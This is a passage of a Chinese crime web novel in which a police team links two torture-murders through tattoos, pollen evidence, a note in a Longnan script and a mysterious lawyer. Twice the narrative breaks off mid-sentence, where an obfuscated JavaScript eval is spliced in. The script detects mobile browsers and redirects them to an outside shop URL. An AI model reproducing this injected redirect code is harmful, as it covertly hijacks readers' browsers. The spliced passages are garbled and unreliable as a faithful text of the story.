来不及思考,直觉已令高尚桢的话脱口而出,“调查官和我一个组。每天早上八点,两个组准时碰头交换信息。”他顿了顿,在队员们惊讶的视线里做总结陈词,“我知道目前人手短缺,有需要时可以调用分局刑警支援,散会!” 刑警们齐刷刷起身,抬手敬礼。 高尚桢不再开口,率先走出办公室。离去一瞬,他余光觑向角落里的人。对方依然身姿挺拔的坐在原地,笑容如常。 突然之间,高组长明白哪里不对劲了。 从他进入会议室到离开,总计四十七分钟。 即使是安月见——会议室里最全神贯注,姿态最拘谨,神情最郑重的新人,也会轻微晃动身体来变换重心,会轻轻摇头,会无意识抬高手臂,她的脖子会小幅度转动,令目光始终追随说话者。 正是这些细小的,她本人也不曾察觉的动作,令她纵然安静无比,高组长也可以捕捉到她思绪的变化和起伏的心境。 而程宥,这位西服挺括头发锃亮的调查官,全程坐在角落的折叠椅里,双腿并拢,手握矿泉水瓶,身体微微前倾,唇角弧度完安美无缺。 四十七分钟里,他始终纹丝不动,不曾移动哪怕0.1毫米,没有任何多余动作,连唇边笑纹都没有增或减一分。 仿佛会议室前放那架投影仪曾无意间转换角度,在白墙上留下一片人形光影,随即就被遗忘,直到高尚桢目光扫过,他才重又自这个世界上具像而出。 4. 出现在凶案现场的人 爱好养生的陈法医并没有像刑事组长希望的那样,为他义务加班加点,不过总算赶在他爆发之前写完了法医报告。 无名氏,陈法医这样称呼废车回收站出现的第二具尸体——死于窒息,而且是反复多次的窒息,整个过程持续几个小时,直到彻底死亡。 除此之外,无名氏年龄在三十六岁到三十八岁之间,除了酒精导致的轻微脂肪肝以外,身体十分健康,甚至有些过于健康了。 陈法医揭开了遮盖尸体的白布,给高尚桢和程宥示意死者非常发达的肱二头肌。 ——如果不是体力劳动者,就必然是健身馆的常客。 他做出如上结论。 反复窒息…… 高尚桢默默思索。 ——凶手在搞刑讯逼供?还是单纯享受这种快-感? ——目前难以下定论。 他的目光落上死者右臂,那里有片红棕色纹身,是个火柴盒大小的罗马数字VI,“目前系统里查不到死者信息,这个纹身能不能鉴定死者身份?” 陈法医果断摇头,“我只能告诉你这个纹身存在将近10年,无论形状还是染料都是最基础的大众款。” 高尚桢手插进口袋,眯起眼盯着老同学,拉长声音,“就这些?” 陈法医冷笑,“本来应该是。不过谁叫你小子狗运气,碰到我这无所不能的法医,这无名尸上还真有点东西。”说着他关闭了室内的日光灯,同一时间红外线覆盖了法医室。 昏暗红外灯下,尸体被翻了个身,露出后背,陈法医讥嘲的声音响起:“瞧出什么没有?也懂点法医学的高组长?” 高尚桢俯下身,近距离开始观察,“皮肤很粗糙,和其他地方不太一样,嗯,这里有些小斑点,这里也有,对侧也有。”他的目光顺着尸体肩胛骨扫下去,直至最下方腰椎,“青灰色……这是染料色素沉着?”他霍然抬头,“这里原本也有个纹身!” “没错。”陈法医面无表情的放回尸体,重新盖好尸布,“这个颜色可不普通,面积又大,估计很有特点,就是被激光打掉了。我已用X光扫描过,信息室那边正在处理信息,如果电脑能成功重建图像,也许对你们有帮助。” 高尚桢嘘了口气,“今天能不能出结果?” 即使灯光昏暗,陈法医翻上天的白眼依旧无比分明,“你让软件速度翻倍就能!” 高尚桢只哑火半秒,继续不屈不挠,“你刚才说这个颜色不普通,是不是送出去……” “已经采样送检了。”陈法医啪的一声打开白炽灯,“还有抱歉让您失望了,今天也出不了结果。” 在两人习以为常的交锋里,一直站在侧后方的程宥摘下眼镜,扫了眼尸体,从西装口袋里掏出软布,轻轻擦拭起茶色镜片。 高组长的好运气还没有终止,才出法医室,安月见就兴冲冲的奔来,原来鉴证组通知,昨天取样的车胎印调查有了结果。 这倒是意外之喜,毕竟回收站老板报警时语焉不详,导致分局警察以为是意外事故,两三辆警车直接停在仓库外,再加上厂老板自己的皮卡。多条车痕彼此重叠覆盖,这令高尚桢对印痕分析并不抱太大希望,就像之前的修车电话一样,已被证实是无法追踪的一次性号码,没想到这回却中了彩票。 而鉴证科之所以能在一堆交错的车印中精确找出两道车胎印,因为它是现场唯一掉头转向的车痕。上一次回收站老板去提货已是半个月前,当时留下的车印早被红驼城无处不在的细沙所覆盖,因此虽然这道可疑的车痕在一夜过后已变得很浅,但碎石混合的沙地还是勉强捕捉到了它的花纹。 它比普通轿车要宽一些,正是经典的维多利亚胎,这在出租车里十分常见。 于是高尚桢一道命令下去,各个分局警察齐齐行动,找到各自辖区的出租车公司核实情况。 两个小时过后,沙鼠区传来消息:今日凌晨,有位出租车司机载过一位客人,目的地正是废车回收站。 尽管有前辈的殷殷告诫,不过安月见对组长车技真正的认知,还是始于这个下午。 她亲眼见识到上司在红灯亮起前的最后零点一秒冲过十字路口,在飞驰的车流间左转右突。心惊胆战之余,新手刑警再顾不上自己会给组长留下何等印象,伸手牢牢抓住顶部扶手,将身体死死吊了上去。 她这样都不顾形象了,却也不能减缓背后传来的巨大推背力。 即便在极度颠簸的最后一程,这台老旧雪佛兰也完全不曾减速,在轮胎与路面摩擦出的刺鸣中,她觉得自己身处在一个高速运转的离心机里,只要一松手就会被甩出去。 谢天谢地终于到了目的地,高组长停好车,转头开口,“我们先……”他的目光撞上后辈涣散的眼神,哑巴了。 安月见推开车门,拖着发软的腿挪出车外,她只觉得胃里翻江倒海,想吐又吐不出来,又堵又难受,只得弓起身体,双手压在膝盖上,大口喘气。 高尚桢难得尴尬了一下。 糟了,他心虚的想,本来还想开慢点,结果光顾想案子,忘了还有别人在车上。 对了,还有别人…… 他缓慢的调过头,看到打开后车门走下的程宥,后者依旧与会议室里一样,头发一丝不苟的紧贴头皮。 他来到正在大口呼气的安月见身边,观察她一秒,忽然开口:“左手伸出来。” 安月见还在犯晕,闻言听话的伸出左手,程宥点点她手腕内侧离指根两指宽的地方,平静的发出命令,“现在用你右手拇指压这里,用力压。” 发懵中的安月见听令照做,拇指下压的瞬间她眼前发黑,然而很快的,视野就重又清晰,胃里也跟着奇迹般的平静下来。 程宥向她微笑了一下,“一点小窍门。”然后望向正在讪讪挠头的肇事司机,“高组长,我们进去。” 分局警察们自然不清楚这段小插曲,他们热情的欢迎刑事组精英们,将他们引向询问室,里面一位出租车司机正背着手走来走去。 司机姓王,有着本地人的热情洋溢,再加上出租车司机没事对空气都能聊半天的技能。高尚桢才问两句,他已两眼放光滔滔不绝,“那时都晚上过两点了,我本来干完活想交车。老婆喊我回去吃沙蝎子,我老婆那手艺,正宗大厨亲传,那个味儿,我跟您讲,那可不一般……” 分局警察在旁边听不下去了,沉着脸警告他,“老王,说重点!” “知道,知道,总之这吃沙蝎不能没酒对吧,我就寻思去买点酒。结果刚转弯,就看到一个小伙子在那里招手。我本来不想停,没想到刚好赶上个红灯,他直接就过来了,说要去东城外。” “那地方多荒啊,当时我就说不去,可这小伙子说一千块,也不用等他,送到我就能走。” 高尚桢突然打断他,“已经这么晚了,去的地方还这么偏,你就不担心?” 老王一拍大腿,“哎呀,我就等着有人问哪,结果老何你也没问是不是?”他朝片警得意的扬扬脸,“还是人家上面的警察厉害。放心吧您,我干这行快二十年了,什么人一眼就能看得出来。要是稍微有点不对劲,就算给一万我也不能去呀。” “那小伙子吧,一看就是个公子哥儿,别的不说,就那一身衣服就不能便宜了,衬衫一丁点褶都没有,上面还别了个银扣儿! ” 高尚桢再次打断他,微觉兴奋:“你还记得他的长相?” 老王伸出两只手指点点自己眼睛,“一般人我可能还不能记得那么真,可这个小伙子长得可太好了。我开始还以为哪个明星,瞅了好几眼。” 高尚桢看一眼安月见,“你去打个电话,让局里画师过来。”又向出租车司机赞许点头,“继续讲。” “小伙子一路上都在那低头按手机,我问他这么晚去那里干什么呀,他说见朋友,后来就一句话也没有,只顾着摁来摁去的。” “我开到回收站那儿就觉得不对劲了,里面灯也没开,黑黢黢的,门口也不见车,哪来什么人哪,当时这心里就有点毛,好在那小伙子说话算话,给了车钱就朝里面跑。我一看当时都凌晨三点了,哪敢耽搁呀,一脚油门就回了家。” 他两只眼睛咔吧咔吧的盯着高组长,一脸“我就知道”的表情,“果然出事了是吧?” 片警瞪他一眼,“跟你无关的事情少问!” 高尚桢答非所问,重复道:“凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652173|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨三点?”见司机点头,眉头一皱,“就这些?” 对方不甘心的回瞪一眼片警,“我就能想起来这么多了,您真不能跟我说说出了啥事吗?我保证不跟别人说!” 高尚桢看了看他,“你在这里不要走,肖像师马上就到。” 局里的肖像师水平不错,而王司机的记忆力和他的嘴皮子一样厉害,所以这张传到高尚桢手中的人物肖像栩栩如生。 ——不是司机太夸张,就是吴画家又在发挥她强大的想象力。 深夜的办公室内,只有高组长办公桌上的电脑还在亮着。他盯着屏幕上刚刚扫描传来的乘客画像,眉头紧皱。 很逼真,很细节,然而他总是心生怀疑。 青年的面容实在俊美得过分,就如出租车司机感慨的那样,好像电影明星。 ——凌晨三点的废车回收站,一个堪比明星的公子哥,突然现身凶案现场……嗯,怎么看怎么像老电影,还是那种内容很老套的电影。 尽管二维画面看不出乘客衣着质地,然而在这样一张脸的光芒中,高组长莫名同意司机的话:看吧,衣服样式很保守很传统,换句话,很贵很老钱。 吴画家大概是画得兴起,除了正面肖像,还附赠了第二张:俊美青年从车中走出,风衣被吹起一角,露出西服口袋,上面的银色圆扣闪出梦幻般光芒——这令高组长越发怀疑起这张人物肖像的真实性。 司机说他一路在按手机……在联系谁? 如果是联系受害者,他们是什么关系? 如果是联系凶手,他们又是什么关系? 他一面思索,一面站起身,推开椅子向前走去。 屋顶感应灯随着他的脚步逐渐明亮,照亮了偌大的,空空如也的办公室。 高尚桢在墙壁前停下脚步,墙上镶嵌着一块很大的白色写字板,隐隐可见许多擦拭痕迹。他拣起一根记号笔,在最左侧写下了九月二十八日,凌晨,旧车回收站几个字,很快犹豫了一下,拿起白板擦将先前字迹抹去,改写成九月十四日,炼油厂,白行人;又划出一条竖线,将白板隔成左右对等的两侧,在右侧重新写下九月二十八日,凌晨,旧车回收站,无名尸体。 通常他不会把两个看似无关的案子列在一块白板上,但是这次…… 高尚桢揉了揉眼眶,站在白板右前方,梳理着脑海中各种信息,在白板上一一列出。 ——时间:九月二十八,凌晨。 ——地点:东城外废车回收站。 ——死者:中年男性,信息不知,身体上有两处纹身:肩膀:罗马数字VI,后背大面积纹身(注:已洗掉,检测中) ——死因:多次反复窒息,推测死亡时间:凌晨四-五点,过程:三到四个小时。 ——发现者:厂老板。有人打电话修车,注:改电话为一次性号码。 ——当夜凌晨三点:出租车司机王某载一名乘客到达废车厂。 他把两张人物画像并排贴上了白板,画上青年俊美难言,微深的眼眶透出些疲惫与迷茫。 即使长相再怎么出众,即便已连夜发送这张图像去各个警局,也不一定就能找得到这个人,毕竟红驼城有八十万人,最重要的是,这里人员流动极大,也许他早就不在这个城市里了。 ——何况各分局接到的还是这么张梦幻画像,估计又是条死胡同。 这样夜深无人的时候,即使是高组长,也会允许自己的偶尔悲观。 他的目光从青年翻飞的风衣间滑过,长长吐了口气,决定收工回家。 高尚桢转过身,抻了个懒腰,走向办公桌方向。 三秒之后,他停下脚步,猛然回头。 他目光射向青年被风掀开的西服。 ——那上面一枚银色圆扣在闪闪发光。 他瞪住那枚圆扣,眼睛慢慢变大,迅速摸出电话,“接法政室!我高尚桢!快点,查个人……什么太晚,不行,现在就得查!” ——那不是装饰西服的圆扣! ——那是…… “给我调法政人员资料,律师,检察官,助理检察官!全部都要!” ——那是律师徽章! 5. 并案调查 事实证明,除了被成功洗脑的刑事组员,其他部门并不惯着高组长的狗脾气,告诫他要严格遵守办公时间否则投诉后,便冷冰冰的挂了电话,气得他差一点把电话打到法官家里,总算一息理智尚存,含恨在办公室打地铺,好不容易熬到第二天,一睁眼发现闹钟分针才刚刚爬过六点。 高尚桢琢磨着按南部时区换算,这里如今已经是早上八点,刚好迈入办公时段。他刚理直气壮的抓起电话,门口忽然传来一阵说话声,下一刻办公区门从外打开,一手捧咖啡一手捏着门禁卡的卫其宏率先走入,后面跟着大口吞甜甜圈的界至野。两人正嘻嘻哈哈,突然瞅见组长都吓了一跳。 卫其宏脱口而出,“组长您怎么这么早?”又一眼撇到地上的毛毯,更吃惊,“您昨晚在这睡的?” 界至野赶紧把手中食物袋递来,里面还剩下了几个甜甜圈,他催促卫其宏,“还不把咖啡给头儿!” 卫其宏瞅瞅手里剩下一半的咖啡,还有吸管上沾着的面包屑,面露苦色,“组长……” 高尚桢瞪了一眼嬉皮笑脸的界至野,接过袋子挑了个巧克力味的,一边吃一边问:“刚从长罗市回来?” “是啊。”卫其宏忍不住发牢骚,“白行人那个战友田光,原来是卡车司机,一走就是好几天,我们运气还行,正赶上他昨晚上跑车回来,等问完了都半夜了。”他这边在跟上司汇报,那头界至野已看到那块被分隔程两块的白板,他摸着下巴看了半天,“怎么,头儿,你觉得俩案子真有联系?” 高尚桢摇摇头,“目前还不确定。你们找到了什么线索?” 卫其宏再顾不上咖啡,抽出手机,看着备忘录,开始跟上司汇报,“田光和炼油厂死者,嗯,白行人的确是同乡,都出生南部联区的洛石索,而且是同一年,即34年入伍,分在112军同一连,不同班。战争结束那年,也就是37年,他们又同时退伍,一起在某运输公司工作,但是白行人和同事有矛盾,不到一年就被开了,又重回到112军所在的黑夏川,从事大概是保安之类的工作。” “落石索和黑夏川相距六百公里左右,两人联系很少,最后一次见面在38年底,据说白行人当时打算去做私人安保,后来田光搬到长罗市当了卡车司机,再没听过对方消息。直到上个月吧,田光突然接到他电话,说要来长罗出差要聚一下,这是十二年来两人初次见面。白行人在他那里只住了一晚,第二天说自己出去办事,可再也没有回来。” 高尚桢皱眉,“白行人突然消失,田光没报警?” 卫其宏点头,“田光开始说他总开车,路上信号不好,报警就是给自己和警察添麻烦,我们问半天,他才承认是不敢。” “这是田光原话。”卫其宏读起了手机记录,“‘老白他彻底变样了,我问他这些年过得怎么样,他说自己跑点生意,我再多问两句,他眼睛就扫过来了,眼神特别瘆人。说实话,我挺后悔让他住家里,他走了正好,我也没多问。” 高尚桢眉头更深,“死者虽然和他见过面,他对死者这些年经历,还有为什么来西部也不知道?” 卫其宏有点紧张的点头,想想不对,又换成摇头。 “之前说过有个野战军的士兵找白行人,他认识吗?” 卫其宏再次摇头,“他说好像有这么个人,好像是白行人后来认识的朋友,看到真人大概能想起来,但是现在什么都忘了。” ……什么都不记得? 高尚桢狐疑,“田光的话可信度多高?他一个南部的人,为什么要来长罗?两边气候差这么大,能适应吗?什么理由?” 稍远处的界至野接下这堆问题,“应该可信。田光小孩有类风湿之类的遗传病,南部严寒天气不适合,所以他才带着一家搬到长罗,已经七年多了。” 高尚桢眉头一扬,“盛苒也去了?她人在哪里?” 卫其宏接上,“盛姐……副组长去楼下证物室送证物了,白行人留下个行李,”看到组长眼睛一下子亮起来,赶紧一桶凉水泼来,“查过了,没发现什么有用的,不过副组长说要在入库之前再仔细检查一次。” 虽然白行人在西部联区的落脚地方找到了,可能提供的线索几乎等于无,这让高尚桢有点失望,当他发现墙上钟表显示此刻才六点二十七分,这种失望达到了顶峰。 ——算了,白行人的案子交给盛苒他们,我得集中精力查第二个案子。法政室这帮懒蛋,六点半了还不上班! 高组长愤愤之余,又开始阴险的盘算要去采用南部时间。 嗯,就说我们才从南边出差回来,手表没有及时调整。他一边想一边第二次摸向手机,就在指尖触及手机屏的一瞬,后者抢先一步亮了起来。 高尚桢看到来电人姓名,顿时精神大振,飞快的按下接听键,“怎么样,老陈?纹身出结果了吗?” 陈法医声音里的寒意隔着电话都能感受得到,“我比你就大一个月,什么老陈,是小陈!就知道催催催,害我一早上就来查报告。”他将被迫加班的熊熊怒火发泄在高组长身上,反正这时后者只能乖乖聆听。 吐槽完毕,陈法医的鼠标终于美妙一点,“好了,我把两份文件发给你了,第一个是电脑重建出来的纹身,这个有点意思,具体的你们自己看;另一个是染料分析报告,我提醒你注意其中的花粉信息。行了,我得先补个美容觉,你小子忙去吧。” 高尚桢顾不上腹诽,一步跨到最近电脑旁,登入工作账户后,果然看到含了附件的EMAIL正静静躺在信箱里。 卫其宏和界至野对视一眼,尽管他们眼下没跟无名氏的案子,不过还是站在旁边看组长操作。 第一个附件刚打开,屏幕瞬间被鲜艳的色彩占满。 无名尸背部的刺青复原显然十分成功,极具冲击力的画面让界至野吧嗒下嘴。 屏幕正中是条巨蛇盘踞吐信。与普通蛇蟒不同,它背上插有硕大翅膀,腹部两侧则每隔一节生出对短小爪子,像是某种爬行动物和鸟类的混合体,而蛇头正中央,长长的角高高隆起。 高尚桢仔细端详着蛇像,向资格最老的组员开了口,“见过这种造型的纹身没有?” 界至野搓搓牙花子,迟疑摇头,“不是帮会用的图案,好像是个神话?这人搞艺术的?艺术家?” 高尚桢没吭声,又点开第二个附件,跳过大堆冗长的术语直奔最后结论,“……经过比对,送检样品中混合有锡喀峨蓝罂粟。该种花卉生在在恒南雪脊走廊的狭长地带,泛指南部联区边境以及周围国家,包括但不限于:纳布尔,博坦亚,泰利和隆南。”他的目光落在南部联区四个字上,心脏剧烈跳了一下。 界至野充满疑惑的声音响起,“南部联区?第一个死者白行人也是那边来的,难道老大这次又开了天眼,俩案子真有联系?” 高尚桢摇摇头,“现在还不能下这个结论,这种纹身染料也可能在其他地区流行。”说着又瞟了眼时钟。 七点。 很好,现在可以给法政室打电话了,就用中部时间,嗯,上个月才参加完会议,就说手表到现在还没调过来…… 就在他第三次准备按下号码之时,办公室的门被刷开,女孩子的声音传来,“……您教的手法可真管用,我回家又试了试,感觉特别舒服,其实我这个人挺容易晕车的……” 高尚桢深吸口气,又一次将手机放下,望向门口。果然半秒过后,特别调查官程宥和安月见齐齐走入视野。 安月见显然没想到早上七点而已,大半个调查组就已聚在办公室,吓得她赶紧去看墙上的挂钟,“七点?啊。”她有点惊慌,连连解释,“组长,对不起我记错了,还以为您说早上八点开会……” 高尚桢面无表情,“你没记错。”冲着她晃晃还挂在手上的袋子,“要不要?”又看看她身边调查官,补了一句,“还剩俩。” 程宥无声的笑了一下,他今天换了身浅灰西装,依旧整洁挺括,一丝不苟,和在警局打了一夜地铺,蓬头垢面的高组长形成鲜明对比。 卫其宏和两人打过招呼,正打算找个机会溜回办公桌,忽听到组长主动开口,“小卫,你给调查官介绍下白行人案的新线索。”他顾不上惊讶,赶紧将去往长罗市的探访过程说了出来,正介绍着,办公室的门从外被打开,刑事组的最后一人也到了。 盛苒从证物室走上来,见到大家面露讶色,显然也没料到一大早就全员集合。 她笑着跟大家打个招呼,对卫其宏点头,“你继续跟调查官汇报。”在他提到行李里没什么线索时,忽然截断他的话,“我来接着汇报炼油厂这个案子的情况吧。” “刚才我和证物室的同事重新检查了白行人的行李,找到点新东西,不知道有用没用。”说着将一张A4纸递了上去。 高尚桢伸手接过,发现是张扫描出来的照片,照片正中一片洇湿的纸,显然曾被洗过,皱皱巴巴都是褶,后又被小心的展开,虽然破破烂烂,好在上面几行铅笔字并未因为洗涤而消失,勉强可辨。 盛苒耐心解释,“在一个裤子口袋里找到的。很可能洗过,还好没有洗烂,不过具体内容暂时无法破解。” 高尚桢皱皱眉,不过他很快明白了“破解”是什么意思,这张纸条上除了下面50/06/19 一行大概是表明时间的数字,其余他一概不识。 他甚至不知道这些到底是不是字,它们那么古怪,一个花跟着一个圈,乍看都差不多,细看又不一样。 "六月十九日。"高尚桢盯着那行数字,心中疑窦丛生,"距离他死亡不到三个月。也就是说,白行人直到六月还在异国。他突然回国,九月就死了。他在哪里?为什么要回来?" 他抬头看看副手,“哪国文字?” 盛苒摇头,“已经在电脑上做过对比,和系统里收录的三十多种国家的文字都不一致,看来只有请教专家了。” 高尚桢嗯了一声,不让自己流露出失望的表情,想了想,还是将A4纸象征性的递给调查官,“目前关于白行人案就这些情况。” 程宥接过打印照片,低头看了几眼,忽然开口:“这是一张送货通知单,货品里有汽油,药物,粮食和枪械。” 高尚桢的呼吸一瞬间绷住,连盛苒也吃惊的望向他,“你认识这上面的字?” 程宥点点头,“凑巧认识。”他顺手将A4纸传给旁边的安月见,后者瞅着上面一圈稀奇古怪的文字,眼睛也开始画起圈圈。 “这是隆南的地区性语言。”他掏出软布擦拭镜片,慢条斯理的解释,“隆南一直没有真正统一文字,这是部落语,在北方比较流行。” 高尚桢瞪向他,脑中一刹空白,还不容他用更多的疑问淹没这片白地,一簇火星突然蹿了起来,瞬间照亮了他的眼睛。 隆南! 他扑回电脑前,再度打开陈法医发来的邮件,看到第二个附件上一排小字:……染料成分:锡喀峨蓝罂粟……花卉生长地包括但不限于:纳布尔……和隆南! 他快步走到那块写了一半线索的白板前,在组员们的注视中,开始补完竖线左侧的信息栏。 第一案/白行人 ——时间:九月十四日,具体时间难以确定,估计在凌晨一点到五点之间。 ——地点:西城区,废弃炼油厂。 ——死者:白行人。基本信息:出生日:14年X月X日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652174|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出生地:南部联区洛石索,34年加入112军,37年退役,其后行踪不祥,在内部信息上列为“绝密”,50年9月13日,住在同乡兼战友田光家中(长罗),9月14日之后不知所踪。 ——死因:身中三百余处刀伤,失血致死。过程:三到四个小时。 ——发现者:拾荒者。 ——线索1:左腿外侧中过枪伤,有子弹残片,经鉴定该弹片十分昂贵,属于特种子弹。 ——线索2:在行李中,有一张字条,据初步辨认:该文字属于隆南地区文字。 ——其他可能线索:中央情报司(?)野战部队士兵? 他想了想,在这个信息总结的最上面写下第一案/白行人,将扫描的字条和盛苒带回来的照片贴在最下方,稍作停顿,来到白板右侧,再度回顾昨天写下的总结后,重新修改死者信息,然后在右侧上方写下第二案/无名氏六个字。 第二案/无名氏 ——死者:中年男性,年龄:36-38岁之间,其他信息未知。尸检发现:身体上有两处纹身:肩膀:罗马数字VI,后背大面积蛇形纹身,其染料来自恒南雪脊走廊,包括隆南。 他将复原的蛇形纹身和花粉资料都打印出来,并排贴在右侧白板下方。 组员们三三两两的散开,将高组长环在中间。 高尚桢回过身,望一眼程宥,西装革履的调查官站在稍远的办公桌,正从公文包里拿出矿泉水,目光透过茶色镜片与他相碰。 这个人…… 不,现在不是想这个的时候。 高尚桢拍拍手,开门见山:“大家都在,我们就开个会,我要并案。”他看向安月见,直接点将:“小安,你总结一下并案的原因。”又看向卫其宏,“小卫,你来提反对意见。” 安月见有些吃惊,她忐忑的看向卫其宏,对方显然早就习惯了组长这种“谁支持谁反对”的二元风,爽快应声:“好!” 她吸了口气,目光从左至右浏览白板,慢慢开口。 “……并案的理由:一,两个死者年龄相似。第一案死者白行人,年龄36岁;第二案无名氏,年龄也在36岁左右。” 卫其宏马上出言反驳,“这个年龄段的死者多了,不能就此下定论。” 安月见愣了楞,求助性的看向组长,可后者握着记号笔一言不发,她稳稳神,接下去,“还有理由二:白行人出生在南部联区,也在那里服役,其后虽然踪迹不祥信息绝密,但是从这张字条上看,”她指着字条上50/06/19 这一行,“他在隆南……起码几个月前他都在一直南部联区毗邻的隆南活动。”说到这里她有点不太确定起来,目光转向程宥,“调查官,这是指时间对吗?” 程宥拧开矿泉水瓶盖,向她点头笑笑以示肯定。 安月见抿了抿嘴唇,“那么我们来看第二案,汽车回收站发现的无名氏。他的纹身表明他很可能来自隆南,虽然这种染料可能在其他地区也能获得,但是结合这种纹身图案,”她指着那张蛇形纹身图片,鼓足勇气:“我觉得这个图案很有异族风情,调查官刚才也提到隆南是多部落为主。那么,那么我觉得,我们是不是可以大胆假设一下,这个纹身有可能是某个部落的图腾?两个人都跟另一个国家有关,然后他们同时出现在最西部的红驼,差不多时间死亡,这个几率有多大呢?” 一缕笑意从高尚桢眼底溢出,他环抱手臂,看向卫其宏。 卫其宏挠了下脖子,坚决反对,“首先,无名氏不一定是隆南人,甚至都不一定从南方来;其次,就算两个人都真跟隆南有关系,咱们这里本来人来人往,全世界的人都有,也不能就说二者有关联。” 安月见心脏怦怦跳,仍旧开口反驳,“这是我想说的第三点理由,虽然红驼确实有许多外地人,甚至外国人,但是他们的信息都可以查得到,他们什么时候来的,乘什么交通工具,住在哪里,这些信息都很清楚。但是这两个人,”她手指白行人的照片,“从长罗到红驼有几十公里,目前查不到任何行踪,而这个人,”她点点第二案的无名氏,“不要说住址,我们连他的姓名都不知道。他们两个都太神秘了,神秘得不正常。” “还有最后一点,两人的死法。他们都不是简单的致死,而是持续几个小时的折磨。第一案是三百多刀,第二案是反复窒息。” 卫其宏立刻夺回主动权:“两个案子确实有相似地方,但也有关键差异:第一案在废弃炼油厂,是个封闭空间;第二案在开放的回收站;第一案用刀,第二案用窒息。凶手的作案手法完全不同。" “但是性质很像,就是……”安月见急得都有点冒汗,“就是凶手不是为了杀人,而是为了……逼问或者惩罚什么的?" 她擦了擦汗,干脆直接做出总结,“凶杀案前后相距两周,死者年龄相近,很可能都来自南部,行踪都十分神秘,难以查找;两人都曾在死前倍受折磨,凶案发生地都很荒僻,没有任何目击证人。” “这么多相似性在一起,我不觉得有那么多巧合。”她干脆直接下了结论,“基于以上理由,我支持并案。” 啪——啪——啪—— 盛苒鼓起了掌,她举起手,“我也支持!”她含笑环视周围,“还有人吗?” 界至野,程宥,高尚桢,就连卫其宏也笑嘻嘻的举起了手。 高尚桢看向满脸通红的新人,赞赏的点点头,他拿起马克笔,在上方的第一案/白行人和第二案/无名氏圈在一起,又在无名氏三个字上敲了敲,“有一点我要纠正,这个案子里,可能有了点新线索。” 他指向那俊美青年的照片,“我们这位神秘乘客,很可能是名律师。” 6. 深夜的影 给大家介绍过昨晚的发现之后,高尚桢又瞥了瞥表,还有四分二十秒到八点,于是他理直气壮的安排卫其宏去打电话,一直等到十点半终于有了回音,那头却说没这个人。法官,检察官,律师,刑事的,民事的,他们都彻查了一遍,压根没人对得上号。 高尚桢皱起了眉,目光投向画像上闪光的银扣。 他对自己的推断深信不疑,然而,这个人为什么找不到? 卫其宏手里捏着电话,眼珠转了转,“组长,如果王司机没走眼,这个乘客真是个有钱人。那他就算没有专职司机,也总得开个豪车吧。可他半夜去打车,可就怪了。” 界至野听得一乐,小声嘀咕,“卫少爷这是搞自我代入了哈。” 高尚桢却眼睛一亮,“对!应该不是本地人。告诉法政室扩大范围,把整个联区,不,把全国这个年龄段的男律师都搜一遍。”他边说边思索,“西装很贵,又这么年轻,既然没在法政那边留下印象,多半不跑法庭,排除刑事这条线,嗯,民事吗?不对,公子哥儿……没错,是企业律师!”他霍然抬头,目光发亮,“告诉他们,查企业相关的律师!” 卫其宏得意洋洋白了界至野一眼,继续跟法政室的哥哥姐姐们甜言蜜语,一个多小时后,终于泡来了他们等待已久的信息。 红驼城法政室 临时档案编号:C-4721 建档日期:50-10-03 基本信息 姓名:林律奚 性别:男 出生日期:22年X月X日 出生地:中部联区XX市 父亲:林XX (已故) 母亲:段X (已故) 教育经历: 38–43年:就读史亚德文理学院,本科,主修经济学 43–46年:中央法学院获法学学位 46年秋:通过司法考试 (证号:XXXXXXX) 职业经历: 46年7月至今,杜蒙律师事务所(在职) 职务:律师(企业并购方向) 所属部门:企业法务部。 工作地点:杜蒙律师事务所 赛因港X路X号(地址待核实) 联系方式:919-XX-XXX(未获) 职级:合伙人 备注 (红驼城刑事调查组/卫其宏) 年龄段符合王司机口供所述。 照片已附 高尚桢翻过这短短一页,视线落上传过来的照片。 这大概是司法考试之类的证件照,只有肩膀之上的脸部正面,其上每条纹理都分外清晰,换言之,将面部缺点放大十倍。高尚桢警察证上面也是这种照片,连他那阵子熬夜微肿的眼皮都拍得一清二楚。每次被交警截下,对方都得拿着警官证和真人比对半天,总觉得自己在看一个通缉犯,而不是英姿飒爽的警官。 然而,手中这张照片却截然不同。 高组长目光在青年的面庞上聚焦数秒,不得不承认王司机纵然废话奇多,眼光委实老辣,这位卷进凶案的律师果然长相堪比电影明星。 他来到白板右侧,取下之前的人物肖像画,将新的信息页和照片替换上去。 这时不知打了多少电话的卫其宏啪的一声合拢手机,吐了口气,几步迈到组长身边,“打多少次电话都没用,律所那边就说林律奚有公务,让我们找他助理约时间。” 高尚桢转身去拿外套,“杜蒙在这边的办公室查到了吧?” 卫其宏点头,“开车过去半个小时。”说着已经反应过来,赶紧举手,“组长我去开车!” 高尚桢态度冷酷,“我开过去二十分钟不到。” 卫其宏心里开始了绝望的呐喊,就在这时,高组长的手机铃响了,他一边套外衣一边接电话,“喂,老陈啊,什么事?……” 然后卫其宏看到上司的动作逐渐变缓,最后完全僵立在原地,脸上神色跟被雷劈了一样,嘴里反复只有“什么?”“什么!”“怎么可能?!” 直到电话结束,一向雷厉风行的组长仍然愣在原地,几秒后突然醒过神,拔腿就朝门口跑。卫其宏正一头雾水不知该不该跟上,就听他头也不回的喊,“老界老界,你和卫其宏跑一趟律所,记住,务必把人给我带回来!” 